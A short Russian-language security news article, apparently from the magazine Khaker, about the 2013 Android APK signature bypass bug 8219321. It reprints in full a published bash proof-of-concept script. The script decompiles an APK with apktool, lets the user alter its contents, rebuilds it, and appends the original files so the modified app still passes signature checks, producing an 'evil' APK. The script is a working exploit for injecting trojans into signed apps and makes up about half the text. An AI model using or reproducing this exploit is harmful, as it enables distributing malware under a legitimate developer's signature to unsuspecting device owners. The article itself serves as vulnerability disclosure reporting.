Хакер #305. Многошаговые SQL-инъекции
Несколько дней назад компания Bluebox Security анонсировала, что на конференции Black Hat USA 2013, которая начнется 27 июля 2013 года, они расскажут о феерической уязвимости в модели безопасности операционной системы Android, которая позволяет злоумышленнику модифицировать содержимое файла APK, не меняя его криптографической подписи. Другими словами, в любое приложение можно добавить троян, сохранив криптографическую подпись оригинального автора приложения.
Уязвимость существует уже четыре года, начиная с Android 1.6, то есть присутствует как минимум в 900 миллионах устройств. О баге сообщено в Google в феврале, он зарегистрирован под номером 8219321 и вроде бы уже закрыт в новых версиях прошивок Samsung, но остался на всех остальных устройствах.
Хакеры из компании Via Forensics не стали дожидаться конференции — и вчера опубликовали PoC код эксплойта.
Декомпиляцию, внедрение кода и повторную компиляцию APK можно осуществить с помощью программы для обратной разработки APKTool.
Простой код, опубликованный ниже, эксплуатирует уязвимость операционной системы Android, которая проверяет подпись оригинального файла, но при этом устанавливает его обновленную версию.
#!/bin/bash # PoC for Android bug 8219321 by @pof # +info: https://jira.cyanogenmod.org/browse/CYAN-1602 if [ -z $1 ]; then echo "Usage: $0" ; exit 1 ; fi APK=$1 rm -r out out.apk tmp 2>/dev/null java -jar apktool.jar d $APK out #apktool d $APK out echo "Modify files, when done type 'exit'" cd out bash cd .. java -jar apktool.jar b out out.apk #apktool b out out.apk mkdir tmp cd tmp/ unzip ../$APK mv ../out.apk . cat >poc.py <<-EOF #!/usr/bin/python import zipfile import sys z = zipfile.ZipFile(sys.argv[1], "a") z.write(sys.argv[2]) z.close() EOF chmod 755 poc.py for f in `find . -type f |egrep -v "(poc.py|out.apk)"` ; do ./poc.py out.apk "$f" ; done cp out.apk ../evil-$APK cd .. rm -rf tmp out echo "Modified APK: evil-$APK"